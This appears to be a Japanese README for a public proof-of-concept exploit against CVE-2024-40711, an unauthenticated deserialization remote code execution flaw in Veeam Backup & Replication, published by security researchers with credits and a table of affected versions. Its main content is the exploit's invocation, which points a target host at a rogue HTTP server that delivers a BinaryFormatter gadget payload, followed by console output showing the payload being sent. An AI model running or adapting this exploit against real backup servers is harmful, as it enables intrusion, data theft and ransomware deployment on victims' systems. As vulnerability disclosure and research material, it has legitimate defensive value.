
CVE-2024-40711 用の認証前エクスプロイト
Veeam backup and Replication の事前認証デシリアライゼーション CVE-2024-40711 のエクスプロイト
技術的な詳細については、ブログ記事 を参照してください。
https://github.com/user-attachments/assets/24e8122c-3e84-408b-87a9-684a9aabeb70
CVE-2024-40711.exe -f binaryformatter -g Veeam -c http://192.168.201.1:8000/trigger --targetveeam 192.168.201.158
__ .__ ___________
__ _ _______ _/ |_ ____ | |_\__ ___/_____ _ _________
\ \/ \/ /\__ \\ __\/ ___\| | \| | / _ \ \/ \/ /\_ __ \
\ / / __ \| | \ \___| Y \ |( <_> ) / | | \/
\/\_/ (____ /__| \___ >___| /____| \____/ \/\_/ |__|
\/ \/ \/
(*) Veeam Backup & Replication Unauthenticated Remote Code Execution Exploit (CVE-2024-40711)
- Vulnerability Discovered by Florian Hauser (@frycos) at CODE WHITE Gmbh (@codewhitesec)
- Exploit Written by Sina Kheirkhah (@SinSinology) at watchTowr
- Thank you to my dear friend Soroush Dalili (@irsdl) for his help
CVEs: [CVE-2024-40711]
(*) Creating payload for 'cmd /c mspaint.exe'
(*) Wrapping payload in the CDbCryptoKeyInfo custom gadget
(*) Sending Remoting Trigger
(*) Started Rogue Server
HttpServerChannel for 'trigger' created:
http://192.168.201.1:8000/trigger
Press any key to exit ...
[*] Processing message for '/trigger' from 192.168.201.158:50592 ... sending payload!
この脆弱性は、CODE WHITE GmbH(@codewhitesec)の Florian Hauser(@frycos)によって発見されました。彼の卓越した研究をぜひフォローしてください。私たちの役割は、この問題のエクスプロイトを再現し、開発することだけでした。
| バージョン | ステータス |
|---|---|
| 12.2.0.334 | 完全にパッチ適用済み。このブログ記事の脆弱性の影響を受けません。 |
| 12.1.2.172 | 影響あり。ただしエクスプロイトには認証が必要です。低権限ユーザーが任意のコードを実行できます。 |
| 12.1.1.56 以前 | 認証なしのRCEに対して脆弱です。 |
このエクスプロイトは、watchTowr (@watchtowrcyber) の Sina Kheirkhah (@SinSinology) によって作成されました。
また、このエクスプロイトに協力してくださった Soroush Dalili にこの場を借りて感謝申し上げます。
最新のセキュリティ研究については、watchTowr Labs チームをフォローしてください。